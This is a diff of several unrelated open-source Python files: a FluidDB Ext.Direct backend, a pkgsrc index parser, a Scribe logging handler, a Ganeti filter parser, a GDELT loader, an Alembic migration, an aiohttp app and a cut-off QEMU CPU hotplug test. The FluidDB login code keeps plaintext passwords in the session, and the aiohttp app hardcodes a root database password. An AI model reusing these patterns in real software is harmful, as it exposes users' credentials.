'sandbox': 'http://sandbox.fluidinfo.com', +} + + +def get_instance_url(instance): + try: + url = INSTANCE_URL[instance] + except KeyError: + url = 'http://' + instance + return url + + +@extdirect.app.before_request +def setup_fluid(): + instance = session.get('instance', 'fluiddb') + g.fluid = Fluid(get_instance_url(instance)) + +@extdirect.before_request +def setup_login(): + try: + sess_username = session['username'] + sess_password = session['password'] + g.fluid.login(sess_username, sess_password) + except KeyError: + pass + +@extdirect.register() +def NamespacesFetch(namespace): + namespace = namespace.replace('ns-', '') + path = namespace + '/' + + response = g.fluid.namespaces[namespace].get(returnNamespaces=True, + returnTags=True) + + out = [] + for nss in sorted(response.value['namespaceNames']): + out.append({'id': 'ns-' + path + nss, 'leaf': False, 'text': nss}) + for tag in sorted(response.value['tagNames']): + out.append({'id': 'tag-' + path + tag, 'leaf': True, 'text': tag}) + return out + +@extdirect.register() +def Query(querystr): + response = g.fluid.objects.get(querystr) + ids = response.value['ids'] + + out = [] + k = 0 + limit = extdirect.app.config.get('QUERY_RESULTSET_LIMIT', 0) + limit_abouttag = extdirect.app.config.get('QUERY_ABOUTTAG_LIMIT', 0) + showAbout = False if len(ids) > limit_abouttag else True + + for objid in ids: + k = k + 1 + if k == limit: + break + if showAbout: + try: + about = g.fluid.objects[objid]['fluiddb/about'].get().value + except: + about = 'no about tag' + else: + about = 'too many objects (more than %i) to fetch about tag' % (limit_abouttag,) + out.append({'oid': objid, 'about': about}) + return {'ids': out} + +@extdirect.register() +def TagValuesFetch(oid): + response = g.fluid.objects[oid].get() + out = [] + k = 0 + tags = response.value['tagPaths'] + showTagValue = False if len(tags) > 10 else True + for tag in tags: + k = k + 1 + if k == 200: + break + readonly = True + if showTagValue: + try: + tagresponse = g.fluid.objects[oid][tag].get() + if tagresponse.content_type.startswith(PRIMITIVE_CONTENT_TYPE): + value = str(tagresponse.value) + readonly = False + else: + value = '(Opaque value)' + except: + value = '...request error...' + else: + value = "Too many tags to fetch values" + + out.append({'tag': tag, 'value': value, 'readonly': readonly}) + return {'tags': out} + + +@extdirect.register() +def GetTagValue(oid, tag): + readonly = True + tagresponse = g.fluid.objects[oid][tag].get() + if tagresponse.content_type.startswith(PRIMITIVE_CONTENT_TYPE): + if tagresponse.value is None: + type = 'empty' + value = 'Empty' + readonly = False + else: + type = 'primitive' + value = str(tagresponse.value) + readonly = False + else: + type = 'opaque' + value = tagresponse.content_type + return {'type': type, 'value': value, 'readonly': readonly} + + +@extdirect.register() +def TagObject(oid, tag, value): + g.fluid.objects[oid][tag].put(value) + +@extdirect.register() +def DeleteTagValue(oid, tag): + g.fluid.objects[oid][tag].delete() + +@extdirect.register() +def CreateNamespace(path, namespace, description): + g.fluid.namespaces[path].post(namespace, description) + +@extdirect.register() +def DeleteNamespace(namespace): + g.fluid.namespaces[namespace].delete() + +@extdirect.register() +def CreateTag(path, tag, description): + g.fluid.tags[path].post(tag, description, False) + +@extdirect.register() +def DeleteTag(tag): + g.fluid.tags[tag].delete() + +@extdirect.register() +def GetPerm(type, action, path): + if type == 'ns': + response = g.fluid.permissions.namespaces[path].get(action).value + else: + response = g.fluid.permissions.tag_values[path].get(action).value + return response + +@extdirect.register() +def SetPerm(type, action, path, policy, exceptions): + if type == 'ns': + g.fluid.permissions.namespaces[path].put(action, + policy, + exceptions) + else: + g.fluid.permissions.tag_values[path].put(action, + policy, + exceptions) + +@extdirect.register() +def AboutToID(about): + return g.fluid.about[about].get().value['id'] + +@extdirect.register(flags={'formHandler': True}) +def Login(username, password): + session['logged'] = True + session['username'] = username + session['password'] = password + return {'success': True} + +@extdirect.register() +def Logout(): + session.pop('logged', None) + session.pop('username', None) + session.pop('password', None) diff --git a/pool/shard008/Python/0078547_pkgsrc.py b/pool/shard008/Python/0078547_pkgsrc.py new file mode 100644 index 0000000000000000000000000000000000000000..f042739bffad4a5bdf7347408aa3f88c14c9f242 --- /dev/null +++ b/pool/shard008/Python/0078547_pkgsrc.py @@ -0,0 +1,57 @@ +# Copyright (C) 2016-2019 Dmitry Marakasov +# +# This file is part of repology +# +# repology is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# repology is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with repology. If not, see . + +from typing import Iterable + +from repology.logger import Logger +from repology.packagemaker import NameType, PackageFactory, PackageMaker +from repology.parsers import Parser +from repology.parsers.maintainers import extract_maintainers +from repology.parsers.versions import VersionStripper + + +class PkgsrcIndexParser(Parser): + def iter_parse(self, path: str, factory: PackageFactory) -> Iterable[PackageMaker]: + normalize_version = VersionStripper().strip_right('nb') + + with open(path, encoding='utf-8') as indexfile: + for line in indexfile: + pkg = factory.begin() + + fields = line.strip().split('|') + if len(fields) != 12: + pkg.log('skipping, unexpected number of fields {}'.format(len(fields)), severity=Logger.ERROR) + continue + if not fields[0]: + pkg.log('skipping, empty first field', severity=Logger.ERROR) + continue + + name, version = fields[0].rsplit('-', 1) + + pkg.add_name(name, NameType.BSD_PKGNAME) + pkg.add_name(fields[1], NameType.BSD_ORIGIN) + pkg.set_version(version, normalize_version) + pkg.set_summary(fields[3]) + + # sometimes OWNER variable is used in which case + # there's no MAINTAINER OWNER doesn't get to INDEX + pkg.add_maintainers(extract_maintainers(fields[5])) + + pkg.add_categories(fields[6].split()) + pkg.add_homepages(fields[11]) + + yield pkg diff --git a/pool/shard008/Python/0078552_handlers.py b/pool/shard008/Python/0078552_handlers.py new file mode 100644 index 0000000000000000000000000000000000000000..c1664ec2b0e87532fc4b2669be160b57951e34d9 --- /dev/null +++ b/pool/shard008/Python/0078552_handlers.py @@ -0,0 +1,116 @@ +# ================================================================================================== +# Copyright 2013 Twitter, Inc. +# -------------------------------------------------------------------------------------------------- +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this work except in compliance with the License. +# You may obtain a copy of the License in the LICENSE file, or at: +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ================================================================================================== + +from logging import Handler + +try: + from scribe import scribe + from thrift.protocol import TBinaryProtocol + from thrift.transport import TTransport, TSocket + _SCRIBE_PRESENT = True +except ImportError: + _SCRIBE_PRESENT = False + + +class ScribeHandler(Handler): + """logging.Handler interface for Scribe.""" + class ScribeHandlerException(Exception): + pass + + def __init__(self, *args, **kwargs): + """logging.Handler interface for Scribe. + + Params: + buffer: If True, buffer messages when scribe is unavailable. If False, drop on floor. + category: Scribe category for logging events. + host: Scribe host. + port: Scribe port. + """ + if not _SCRIBE_PRESENT: + raise self.ScribeHandlerException( + "Could not initialize ScribeHandler: Scribe modules not present.") + self._buffer_enabled = kwargs.pop("buffer") + self._category = kwargs.pop("category") + self._client = None + self._host = kwargs.pop("host") + self._log_buffer = [] + self._port = kwargs.pop("port") + self._transport = None + Handler.__init__(self, *args, **kwargs) + + @property + def messages_pending(self): + """Return True if there are messages in the buffer.""" + return bool(self._log_buffer) + + @property + def client(self): + """Scribe client object.""" + if not self._client: + protocol = TBinaryProtocol.TBinaryProtocol(trans=self.transport, + strictRead=False, + strictWrite=False) + self._client = scribe.Client(iprot=protocol, oprot=protocol) + return self._client + + @property + def transport(self): + """Scribe transport object.""" + if not self._transport: + socket = TSocket.TSocket(host=self._host, port=self._port) + self._transport = TTransport.TFramedTransport(socket) + return self._transport + + def close(self): + """Flushes any remaining messages in the queue.""" + if self.messages_pending: + try: + self.scribe_write(self._log_buffer) + except self.ScribeHandlerException: + pass + Handler.close(self) + + def emit(self, record): + """Emit a record via Scribe.""" + fmt_record = self.format(record) + self._log_buffer.append(scribe.LogEntry(category=self._category, message=fmt_record)) + try: + self.scribe_write(self._log_buffer) + except self.ScribeHandlerException: + if not self._buffer_enabled: + self._log_buffer = [] + else: + self._log_buffer = [] + + def scribe_write(self, messages): + """Sends a list of messages to scribe. + + Params: + messages: List of scribe.LogEntry objects. + + Raises: + ScribeHandlerException on timeouts and connection errors. + """ + try: + self.transport.open() + result = self.client.Log(messages) + if result != scribe.ResultCode.OK: + raise self.ScribeHandlerException('Scribe message submission failed') + except TTransport.TTransportException as err: + raise self.ScribeHandlerException('Could not connect to scribe host=%s:%s error=%s' + % (self._host, self._port, err)) + finally: + self.transport.close() diff --git a/pool/shard008/Python/0078553_qlang.py b/pool/shard008/Python/0078553_qlang.py new file mode 100644 index 0000000000000000000000000000000000000000..e424abe44485d22f43242d8fd0d2037fabbe5e82 --- /dev/null +++ b/pool/shard008/Python/0078553_qlang.py @@ -0,0 +1,332 @@ +# +# + +# Copyright (C) 2010, 2011, 2012 Google Inc. +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are +# met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS +# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR +# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +"""Module for a simple query language + +A query filter is always a list. The first item in the list is the operator +(e.g. C{[OP_AND, ...]}), while the other items depend on the operator. For +logic operators (e.g. L{OP_AND}, L{OP_OR}), they are subfilters whose results +are combined. Unary operators take exactly one other item (e.g. a subfilter for +L{OP_NOT} and a field name for L{OP_TRUE}). Binary operators take exactly two +operands, usually a field name and a value to compare against. Filters are +converted to callable functions by L{query._CompileFilter}. + +""" + +import re +import logging + +import pyparsing as pyp + +from ganeti import constants +from ganeti import errors +from ganeti import utils + + +OP_OR = constants.QLANG_OP_OR +OP_AND = constants.QLANG_OP_AND +OP_NOT = constants.QLANG_OP_NOT +OP_TRUE = constants.QLANG_OP_TRUE +OP_EQUAL = constants.QLANG_OP_EQUAL +OP_EQUAL_LEGACY = constants.QLANG_OP_EQUAL_LEGACY +OP_NOT_EQUAL = constants.QLANG_OP_NOT_EQUAL +OP_LT = constants.QLANG_OP_LT +OP_LE = constants.QLANG_OP_LE +OP_GT = constants.QLANG_OP_GT +OP_GE = constants.QLANG_OP_GE +OP_REGEXP = constants.QLANG_OP_REGEXP +OP_CONTAINS = constants.QLANG_OP_CONTAINS +FILTER_DETECTION_CHARS = constants.QLANG_FILTER_DETECTION_CHARS +GLOB_DETECTION_CHARS = constants.QLANG_GLOB_DETECTION_CHARS + + +def MakeSimpleFilter(namefield, values): + """Builds simple a filter. + + @param namefield: Name of field containing item name + @param values: List of names + + """ + if values: + return [OP_OR] + [[OP_EQUAL, namefield, i] for i in values] + + return None + + +def _ConvertLogicOp(op): + """Creates parsing action function for logic operator. + + @type op: string + @param op: Operator for data structure, e.g. L{OP_AND} + + """ + def fn(toks): + """Converts parser tokens to query operator structure. + + @rtype: list + @return: Query operator structure, e.g. C{[OP_AND, ["=", "foo", "bar"]]} + + """ + operands = toks[0] + + if len(operands) == 1: + return operands[0] + + # Build query operator structure + return [[op] + operands.asList()] + + return fn + + +_KNOWN_REGEXP_DELIM = "/#^|" +_KNOWN_REGEXP_FLAGS = frozenset("si") + + +def _ConvertRegexpValue(_, loc, toks): + """Regular expression value for condition. + + """ + (regexp, flags) = toks[0] + + # Ensure only whitelisted flags are used + unknown_flags = (frozenset(flags) - _KNOWN_REGEXP_FLAGS) + if unknown_flags: + raise pyp.ParseFatalException("Unknown regular expression flags: '%s'" % + "".join(unknown_flags), loc) + + if flags: + re_flags = "(?%s)" % "".join(sorted(flags)) + else: + re_flags = "" + + re_cond = re_flags + regexp + + # Test if valid + try: + re.compile(re_cond) + except re.error, err: + raise pyp.ParseFatalException("Invalid regular expression (%s)" % err, loc) + + return [re_cond] + + +def BuildFilterParser(): + """Builds a parser for query filter strings. + + @rtype: pyparsing.ParserElement + + """ + field_name = pyp.Word(pyp.alphas, pyp.alphanums + "_/.") + + # Integer + num_sign = pyp.Word("-+", exact=1) + number = pyp.Combine(pyp.Optional(num_sign) + pyp.Word(pyp.nums)) + number.setParseAction(lambda toks: int(toks[0])) + + quoted_string = pyp.quotedString.copy().setParseAction(pyp.removeQuotes) + + # Right-hand-side value + rval = (number | quoted_string) + + # Boolean condition + bool_cond = field_name.copy() + bool_cond.setParseAction(lambda (fname, ): [[OP_TRUE, fname]]) + + # Simple binary conditions + binopstbl = { + "==": OP_EQUAL, + "=": OP_EQUAL, # legacy support + "!=": OP_NOT_EQUAL, # legacy support + "<": OP_LT, + "<=": OP_LE, + ">": OP_GT, + ">=": OP_GE, + } + + binary_cond = (field_name + pyp.oneOf(binopstbl.keys()) + rval) + binary_cond.setParseAction(lambda (lhs, op, rhs): [[binopstbl[op], lhs, rhs]]) + + # "in" condition + in_cond = (rval + pyp.Suppress("in") + field_name) + in_cond.setParseAction(lambda (value, field): [[OP_CONTAINS, field, value]]) + + # "not in" condition + not_in_cond = (rval + pyp.Suppress("not") + pyp.Suppress("in") + field_name) + not_in_cond.setParseAction(lambda (value, field): [[OP_NOT, [OP_CONTAINS, + field, value]]]) + + # Regular expression, e.g. m/foobar/i + regexp_val = pyp.Group(pyp.Optional("m").suppress() + + pyp.MatchFirst([pyp.QuotedString(i, escChar="\\") + for i in _KNOWN_REGEXP_DELIM]) + + pyp.Optional(pyp.Word(pyp.alphas), default="")) + regexp_val.setParseAction(_ConvertRegexpValue) + regexp_cond = (field_name + pyp.Suppress("=~") + regexp_val) + regexp_cond.setParseAction(lambda (field, value): [[OP_REGEXP, field, value]]) + + not_regexp_cond = (field_name + pyp.Suppress("!~") + regexp_val) + not_regexp_cond.setParseAction(lambda (field, value): + [[OP_NOT, [OP_REGEXP, field, value]]]) + + # Globbing, e.g. name =* "*.site" + glob_cond = (field_name + pyp.Suppress("=*") + quoted_string) + glob_cond.setParseAction(lambda (field, value): + [[OP_REGEXP, field, + utils.DnsNameGlobPattern(value)]]) + + not_glob_cond = (field_name + pyp.Suppress("!*") + quoted_string) + not_glob_cond.setParseAction(lambda (field, value): + [[OP_NOT, [OP_REGEXP, field, + utils.DnsNameGlobPattern(value)]]]) + + # All possible conditions + condition = (binary_cond ^ bool_cond ^ + in_cond ^ not_in_cond ^ + regexp_cond ^ not_regexp_cond ^ + glob_cond ^ not_glob_cond) + + # Associativity operators + filter_expr = pyp.operatorPrecedence(condition, [ + (pyp.Keyword("not").suppress(), 1, pyp.opAssoc.RIGHT, + lambda toks: [[OP_NOT, toks[0][0]]]), + (pyp.Keyword("and").suppress(), 2, pyp.opAssoc.LEFT, + _ConvertLogicOp(OP_AND)), + (pyp.Keyword("or").suppress(), 2, pyp.opAssoc.LEFT, + _ConvertLogicOp(OP_OR)), + ]) + + parser = pyp.StringStart() + filter_expr + pyp.StringEnd() + parser.parseWithTabs() + + # Originally C{parser.validate} was called here, but there seems to be some + # issue causing it to fail whenever the "not" operator is included above. + + return parser + + +def ParseFilter(text, parser=None): + """Parses a query filter. + + @type text: string + @param text: Query filter + @type parser: pyparsing.ParserElement + @param parser: Pyparsing object + @rtype: list + + """ + logging.debug("Parsing as query filter: %s", text) + + if parser is None: + parser = BuildFilterParser() + + try: + return parser.parseString(text)[0] + except pyp.ParseBaseException, err: + raise errors.QueryFilterParseError("Failed to parse query filter" + " '%s': %s" % (text, err), err) + + +def _CheckFilter(text): + """CHecks if a string could be a filter. + + @rtype: bool + + """ + return bool(frozenset(text) & FILTER_DETECTION_CHARS) + + +def _CheckGlobbing(text): + """Checks if a string could be a globbing pattern. + + @rtype: bool + + """ + return bool(frozenset(text) & GLOB_DETECTION_CHARS) + + +def _MakeFilterPart(namefield, text, isnumeric=False): + """Generates filter for one argument. + + """ + if isnumeric: + try: + number = int(text) + except (TypeError, ValueError), err: + raise errors.OpPrereqError("Invalid job ID passed: %s" % str(err), + errors.ECODE_INVAL) + return [OP_EQUAL, namefield, number] + elif _CheckGlobbing(text): + return [OP_REGEXP, namefield, utils.DnsNameGlobPattern(text)] + else: + return [OP_EQUAL, namefield, text] + + +def MakeFilter(args, force_filter, namefield=None, isnumeric=False): + """Try to make a filter from arguments to a command. + + If the name could be a filter it is parsed as such. If it's just a globbing + pattern, e.g. "*.site", such a filter is constructed. As a last resort the + names are treated just as a plain name filter. + + @type args: list of string + @param args: Arguments to command + @type force_filter: bool + @param force_filter: Whether to force treatment as a full-fledged filter + @type namefield: string + @param namefield: Name of field to use for simple filters (use L{None} for + a default of "name") + @type isnumeric: bool + @param isnumeric: Whether the namefield type is numeric, as opposed to + the default string type; this influences how the filter is built + @rtype: list + @return: Query filter + + """ + if namefield is None: + namefield = "name" + + if (force_filter or + (args and len(args) == 1 and _CheckFilter(args[0]))): + try: + (filter_text, ) = args + except (TypeError, ValueError): + raise errors.OpPrereqError("Exactly one argument must be given as a" + " filter", errors.ECODE_INVAL) + + result = ParseFilter(filter_text) + elif args: + result = [OP_OR] + [ + _MakeFilterPart(namefield, arg, isnumeric=isnumeric) + for arg in args + ] + else: + result = None + + return result diff --git a/pool/shard008/Python/0078559_loaddata.py b/pool/shard008/Python/0078559_loaddata.py new file mode 100644 index 0000000000000000000000000000000000000000..183a517aa6dc643e8701b2bdd1c6e9a54904f00f --- /dev/null +++ b/pool/shard008/Python/0078559_loaddata.py @@ -0,0 +1,110 @@ +import sys +import os + +os.environ.setdefault('DJANGO_SETTINGS_MODULE','gdelt.settings') +from django.core.management import setup_environ +from gdelt import settings +setup_environ(settings) + +from gdelt.models import GDELT + +def fn(a): + if a == '': + return None + else: + return float(a) + +def intn(a): + if a == '': + return None + else: + return int(a) +def un(a): + return a.decode('utf-8') + + +f = [ ('GLOBALEVENTID', long), + ('SQLDATE', intn), + ('MonthYear', un), + ('Year', un), + ('FractionDate', fn), + ('Actor1Code', un), + ('Actor1Name', un), + ('Actor1CountryCode', un), + ('Actor1KnownGroupCode', un), + ('Actor1EthnicCode', un), + ('Actor1Religion1Code', un), + ('Actor1Religion2Code', un), + ('Actor1Type1Code', un), + ('Actor1Type2Code', un), + ('Actor1Type3Code', un), + ('Actor2Code', un), + ('Actor2Name', un), + ('Actor2CountryCode', un), + ('Actor2KnownGroupCode', un), + ('Actor2EthnicCode', un), + ('Actor2Religion1Code', un), + ('Actor2Religion2Code', un), + ('Actor2Type1Code', un), + ('Actor2Type2Code', un), + ('Actor2Type3Code', un), + ('IsRootEvent', intn), + ('EventCode', un), + ('EventBaseCode', un), + ('EventRootCode', un), + ('QuadClass', intn), + ('GoldsteinScale', fn), + ('NumMentions', intn), + ('NumSources', intn), + ('NumArticles', intn), + ('AvgTone', fn), + ('Actor1Geo_Type', intn), + ('Actor1Geo_FullName', un), + ('Actor1Geo_CountryCode', un), + ('Actor1Geo_ADM1Code', un), + ('Actor1Geo_Lat', fn), + ('Actor1Geo_Long', fn), + ('Actor1Geo_FeatureID', un), + ('Actor2Geo_Type', intn), + ('Actor2Geo_FullName', un), + ('Actor2Geo_CountryCode', un), + ('Actor2Geo_ADM1Code', un), + ('Actor2Geo_Lat', fn), + ('Actor2Geo_Long', fn), + ('Actor2Geo_FeatureID', un), + ('ActionGeo_Type', intn), + ('ActionGeo_FullName', un), + ('ActionGeo_CountryCode', un), + ('ActionGeo_ADM1Code', un), + ('ActionGeo_Lat', fn), + ('ActionGeo_Long', fn), + ('ActionGeo_FeatureID', un), + ('DATEADDED', intn), + ('SOURCEURL', un) +] + +for line in open("20130401.export.CSV","r"): + line = line[:-1] + line = line.split("\t") + #for f in line: + # print repr(f) + #sys.exit() + g = GDELT() + + + + try: + for i in range(57): + setattr(g, f[i][0], f[i][1](line[i])) + print f[i], line[i] + + except: + print f[i] + print line[i] + for f in line: + print repr(f) + sys.exit() + + g.save() + + diff --git a/pool/shard008/Python/0078560_4e630620516_.py b/pool/shard008/Python/0078560_4e630620516_.py new file mode 100644 index 0000000000000000000000000000000000000000..fa3963b4c335253b2717eebef0092fa4b82b62e3 --- /dev/null +++ b/pool/shard008/Python/0078560_4e630620516_.py @@ -0,0 +1,26 @@ +"""empty message + +Revision ID: 4e630620516 +Revises: 309a5077439 +Create Date: 2015-02-06 00:12:19.773920 + +""" + +# revision identifiers, used by Alembic. +revision = '4e630620516' +down_revision = '309a5077439' + +from alembic import op +import sqlalchemy as sa + + +def upgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.add_column('comment', sa.Column('created_on', sa.String(length=20), nullable=True)) + ### end Alembic commands ### + + +def downgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.drop_column('comment', 'created_on') + ### end Alembic commands ### diff --git a/pool/shard008/Python/0078563_app.py b/pool/shard008/Python/0078563_app.py new file mode 100644 index 0000000000000000000000000000000000000000..d26269e8c0470f994cdab395e969c2183392a8d7 --- /dev/null +++ b/pool/shard008/Python/0078563_app.py @@ -0,0 +1,152 @@ +# -*- coding: utf-8 -*- +""" +Created on Sat Jul 29 14:20:36 2017 + +@author: huang +""" + +#Web app基于asyncio基础 +#import logging; logging.basicConfig(level=logging.INFO) +#import asyncio, os, json, time +#from datetime import datetime +#from aiohttp import web +# +#def index(request): +# return web.Response(body=b'

    Awesome

    ', +# content_type='text/html') +# +#@asyncio.coroutine +#def init(loop): #each loop stands for a user who has logged in the website +# app = web.Application(loop=loop) +# app.router.add_route('GET','/', index) #GET is a method which used to request data +# #from the website +# srv = yield from loop.create_server(app.make_handler(), '127.0.0.1' +# , 9000) +# logging.info('server started at http://127.0.0.1:9000...') +# return srv +# +#loop = asyncio.get_event_loop() +#loop.run_until_complete(init(loop)) +#loop.run_forever() + +''' +async web application. +''' + +import logging; logging.basicConfig(level=logging.INFO) + +import asyncio, os, json, time +from datetime import datetime + +from aiohttp import web +from jinja2 import Environment, FileSystemLoader + +import orm +from coroweb import add_routes, add_static + +def init_jinja2(app, **kw): #jinja2 强大的 HTML 自动转义系统保护系统免受 XSS + logging.info('init jinja2...') + options = dict( + autoescape = kw.get('autoescape', True), + block_start_string = kw.get('block_start_string', '{%'), + block_end_string = kw.get('block_end_string', '%}'), + variable_start_string = kw.get('variable_start_string', '{{'), + variable_end_string = kw.get('variable_end_string', '}}'), + auto_reload = kw.get('auto_reload', True) + ) + path = kw.get('path', None) + if path is None: + path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates') + logging.info('set jinja2 template path: %s' % path) + env = Environment(loader=FileSystemLoader(path), **options) + filters = kw.get('filters', None) + if filters is not None: + for name, f in filters.items(): + env.filters[name] = f + app['__templating__'] = env + +async def logger_factory(app, handler): + async def logger(request): + logging.info('Request: %s %s' % (request.method, request.path)) + # await asyncio.sleep(0.3) + return (await handler(request)) + return logger + +async def data_factory(app, handler): + async def parse_data(request): + if request.method == 'POST': + if request.content_type.startswith('application/json'): + request.__data__ = await request.json() + logging.info('request json: %s' % str(request.__data__)) + elif request.content_type.startswith('application/x-www-form-urlencoded'): + request.__data__ = await request.post() + logging.info('request form: %s' % str(request.__data__)) + return (await handler(request)) + return parse_data + +async def response_factory(app, handler): + async def response(request): + logging.info('Response handler...') + r = await handler(request) + if isinstance(r, web.StreamResponse): + return r + if isinstance(r, bytes): + resp = web.Response(body=r) + resp.content_type = 'application/octet-stream' + return resp + if isinstance(r, str): + if r.startswith('redirect:'): + return web.HTTPFound(r[9:]) + resp = web.Response(body=r.encode('utf-8')) + resp.content_type = 'text/html;charset=utf-8' + return resp + if isinstance(r, dict): + template = r.get('__template__') + if template is None: + resp = web.Response(body=json.dumps(r, ensure_ascii=False, default=lambda o: o.__dict__).encode('utf-8')) + resp.content_type = 'application/json;charset=utf-8' + return resp + else: + resp = web.Response(body=app['__templating__'].get_template(template).render(**r).encode('utf-8')) + resp.content_type = 'text/html;charset=utf-8' + return resp + if isinstance(r, int) and r >= 100 and r < 600: + return web.Response(r) + if isinstance(r, tuple) and len(r) == 2: + t, m = r + if isinstance(t, int) and t >= 100 and t < 600: + return web.Response(t, str(m)) + # default: + resp = web.Response(body=str(r).encode('utf-8')) + resp.content_type = 'text/plain;charset=utf-8' + return resp + return response + +def datetime_filter(t): + delta = int(time.time() - t) + if delta < 60: + return u'1分钟前' + if delta < 3600: + return u'%s分钟前' % (delta // 60) + if delta < 86400: + return u'%s小时前' % (delta // 3600) + if delta < 604800: + return u'%s天前' % (delta // 86400) + dt = datetime.fromtimestamp(t) + return u'%s年%s月%s日' % (dt.year, dt.month, dt.day) + +async def init(loop): + await orm.create_pool(loop=loop, host='127.0.0.1', port=3306, user='root', password='123qwe', db='awesome') + app = web.Application(loop=loop, middlewares=[ + logger_factory, response_factory + ]) + init_jinja2(app, filters=dict(datetime=datetime_filter)) + add_routes(app, 'handlers') + add_static(app) + srv = await loop.create_server(app.make_handler(), '127.0.0.1', 9000) + logging.info('server started at http://127.0.0.1:9000...') + return srv + +loop = asyncio.get_event_loop() +loop.run_until_complete(init(loop)) +loop.run_forever() diff --git a/pool/shard008/Python/0078571_cpu_hotplug.py b/pool/shard008/Python/0078571_cpu_hotplug.py new file mode 100644 index 0000000000000000000000000000000000000000..a99095aa02a60c795df9b6bf545066dfd358acc3 --- /dev/null +++ b/pool/shard008/Python/0078571_cpu_hotplug.py @@ -0,0 +1,111 @@ +import os, logging, re +from autotest.client.shared import error +from virttest import utils_test + + +@error.context_aware +def run_cpu_hotplug(test, params, env): + """ + Runs CPU hotplug test: + + 1) Pick up a living guest + 2) Send the monitor command cpu_set [cpu id] for each cpu we wish to have + 3) Verify if guest has the additional CPUs showing up under + /sys/devices/system/cpu + 4) Try to bring them online by writing 1 to the 'online' file inside that dir + 5) Run the CPU Hotplug test suite shipped with autotest inside guest + + @param test: QEMU test object. + @param params: Dictionary with test parameters. + @param env: Dictionary with the test environment. + """ + vm = env.get_vm(params["main_vm"]) + vm.verify_alive() + timeout = int(params.get("login_timeout", 360)) + session = vm.wait_for_login(timeout=timeout) + + n_cpus_add = int(params.get("n_cpus_add", 1)) + current_cpus = int(params.get("smp", 1)) + onoff_iterations = int(params.get("onoff_iterations", 20)) + total_cpus = current_cpus + n_cpus_add + + error.context("cleaning guest dmesg before addition") + session.cmd("dmesg -c") + + error.context("Adding %d CPUs to guest" % n_cpus_add) + for i in range(total_cpus): + vm.monitor.cmd("cpu_set %s online" % i) + + output = vm.monitor.cmd("info cpus") + logging.debug("Output of info cpus:\n%s", output) + + cpu_regexp = re.compile("CPU #(\d+)") + total_cpus_monitor = len(cpu_regexp.findall(output)) + if total_cpus_monitor != total_cpus: + raise error.TestFail("Monitor reports %s CPUs, when VM should have %s" % + (total_cpus_monitor, total_cpus)) + + dmesg_after = session.cmd("dmesg") + logging.debug("Guest dmesg output after CPU add:\n%s" % dmesg_after) + + # Verify whether the new cpus are showing up on /sys + error.context("verifying if new CPUs are showing on guest's /sys dir") + n_cmd = 'find /sys/devices/system/cpu/cpu[0-99] -maxdepth 0 -type d | wc -l' + output = session.cmd(n_cmd) + logging.debug("List of cpus on /sys:\n%s" % output) + try: + cpus_after_addition = int(output) + except ValueError: + logging.error("Output of '%s': %s", n_cmd, output) + raise error.TestFail("Unable to get CPU count after CPU addition") + + if cpus_after_addition != total_cpus: + raise error.TestFail("%s CPUs are showing up under " + "/sys/devices/system/cpu, was expecting %s" % + (cpus_after_addition, total_cpus)) + + error.context("locating online files for guest's new CPUs") + r_cmd = 'find /sys/devices/system/cpu/cpu[1-99]/online -maxdepth 0 -type f' + online_files = session.cmd(r_cmd) + logging.debug("CPU online files detected: %s", online_files) + online_files = online_files.split().sort() + + if not online_files: + raise error.TestFail("Could not find CPUs that can be " + "enabled/disabled on guest") + + for online_file in online_files: + cpu_regexp = re.compile("cpu(\d+)", re.IGNORECASE) + cpu_id = cpu_regexp.findall(online_file)[0] + error.context("changing online status for CPU %s" % cpu_id) + check_online_status = session.cmd("cat %s" % online_file) + try: + check_online_status = int(check_online_status) + except ValueError: + raise error.TestFail("Unable to get online status from CPU %s" % + cpu_id) + assert(check_online_status in [0, 1]) + if check_online_status == 0: + error.context("Bringing CPU %s online" % cpu_id) + session.cmd("echo 1 > %s" % online_file) + + # Now that all CPUs were onlined, let's execute the + # autotest CPU Hotplug test + control_path = os.path.join(test.virtdir, "autotest_control", + "cpu_hotplug.control") + + timeout = int(params.get("cpu_hotplug_timeout", 300)) + error.context("running cpu_hotplug autotest after cpu addition") + utils_test.run_autotest(vm, session, control_path, timeout, + test.outputdir, params) + + # Last, but not least, let's offline/online the CPUs in the guest + # several times + irq = 15 + irq_mask = "f0" + for i in xrange(onoff_iterations): + session.cmd("echo %s > /proc/irq/%s/smp_affinity" % (irq_mask, irq)) + for online_file in online_files: + session.cmd("echo 